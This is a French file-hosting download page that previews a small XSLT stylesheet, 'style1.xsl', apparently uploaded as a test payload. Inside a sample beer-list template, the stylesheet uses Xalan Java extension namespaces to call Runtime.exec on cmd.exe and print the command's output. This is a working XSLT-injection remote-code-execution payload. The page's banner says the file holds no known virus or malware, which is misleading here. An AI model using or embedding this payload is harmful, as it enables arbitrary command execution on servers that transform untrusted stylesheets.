Hébergeur de fichiers indépendant

style1.xsl

À propos du fichier

Type de fichier
Fichier XSL de 1 Ko (application/xml)
Confidentialité
Fichier public, envoyé le 27 septembre 2018 à 14:06, depuis l'adresse IP 212.157.x.x (France)
Sécurité
Ne contient aucun Virus ou Malware connus - Dernière vérification: 13 heures
Statistiques
La présente page de téléchargement a été vue 414 fois depuis l'envoi du fichier
Page de téléchargement

Aperçu du fichier


<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
 xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime"
 xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object"
 exclude-result-prefixes= "rt ob">
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
<xsl:for-each select="beers/beer">
  <div style="background-color:teal;color:red;padding:4px">
    <span style="font-weight:bold"><xsl:value-of select="name"/> - </span>
    <xsl:value-of select="price"/>
    </div>
  <div style="margin-left:20px;margin-bottom:1em;font-size:10pt">
    <p>
	--- BEGIN COMMAND OUTPUT ---
    <xsl:variable name="runtimeObject" select="rt:getRuntime()"/>
   <xsl:variable name="command"
     select="rt:exec($runtimeObject, &apos;c:\Windows\system32\cmd.exe&apos;)"/>
   <xsl:variable name="commandAsString" select="ob:toString($command)"/>
   <xsl:value-of select="$commandAsString"/>
	
    <span style="font-style:italic"> (<xsl:value-of select="description"/> %)</span>
	--- END COMMAND OUTPUT ---
    </p>
  </div>
</xsl:for-each>
</body>
</html> 



Partager le fichier style1.xsl sur le Web et les réseaux sociaux:


Télécharger le fichier style1.xsl


Télécharger style1.xsl